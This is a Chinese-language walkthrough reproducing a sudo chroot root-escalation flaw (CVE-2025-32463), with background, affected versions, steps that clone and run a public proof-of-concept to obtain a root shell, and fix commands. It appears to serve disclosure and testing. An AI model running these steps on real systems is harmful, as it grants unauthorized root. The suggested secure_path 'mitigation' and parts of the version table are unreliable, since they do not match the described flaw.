CVE-2025-32463 Sudo本地提权漏洞复现与验证

一、漏洞背景与原理
1. 漏洞概述
  • 漏洞编号：CVE-2025-32463
  • 影响范围：Sudo 1.9.14 至 1.9.17 版本
  • 漏洞类型：路径解析顺序错误 + 恶意库劫持
  • 危害等级：高危（本地提权至 root）
  • 利用条件：普通用户权限 + sudo --chroot（-R）功能可用
  • 确认受影响的发行版

以下发行版默认安装受影响版本的Sudo（截至2025年7月）：

发行版

受影响版本

Sudo默认版本

Ubuntu

22.04 LTS 及更新

1.9.14+

Debian

Bookworm (12)

1.9.15

Fedora

38+

1.9.16

CentOS Stream

9+

1.9.14p2
2. 漏洞原理

　　Sudo 在 chroot 环境切换后过早解析动态链接库路径，导致攻击者可伪造 /etc/nsswitch.conf 文件，诱骗 Sudo 加载恶意库（如 libnss_xxx.so），从而绕过权限检查，直接获取 root shell。

二、完整复现步骤
1. 虚拟机测试版本（Ubuntu 24.04） 及 sudo 版本 
root@VM-16-14-ubuntu:/# cat /etc/*release*|grep _NAME
PRETTY_NAME="Ubuntu 24.04 LTS"
root@VM-16-14-ubuntu:/# sudo --version
Sudo version 1.9.15p5
2. 切换到user账号下，下载并运行 PoC
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
./sudo-chwoot.sh
成功标志：终端提示符变为 root@hostname
3. 如果没有测试环境，可以在Docker容器中测试利用工具（未测试）
#步骤 1：拉取 Ubuntu 24.04 镜像（默认 sudo 版本受影响）
docker pull ubuntu:24.04
docker run -it --name sudo-test ubuntu:24.04 bash

#步骤 2：安装必要工具
apt update && apt install -y sudo git
sudo --version  # 确认版本为 1.9.14-1.9.17

#下载 PoC 漏洞利用工具
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
./sudo-chwoot.sh
三、安全建议与修复方案
1 . 临时缓解
# 限制sudo库加载路径
echo 'Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"' | sudo tee -a /etc/sudoers
2. 彻底修复
sudo apt update && sudo apt upgrade sudo  #Ubuntu/Debian
sudo dnf update sudo  #Fedora/RHEL/CentOS
3. 修复后截图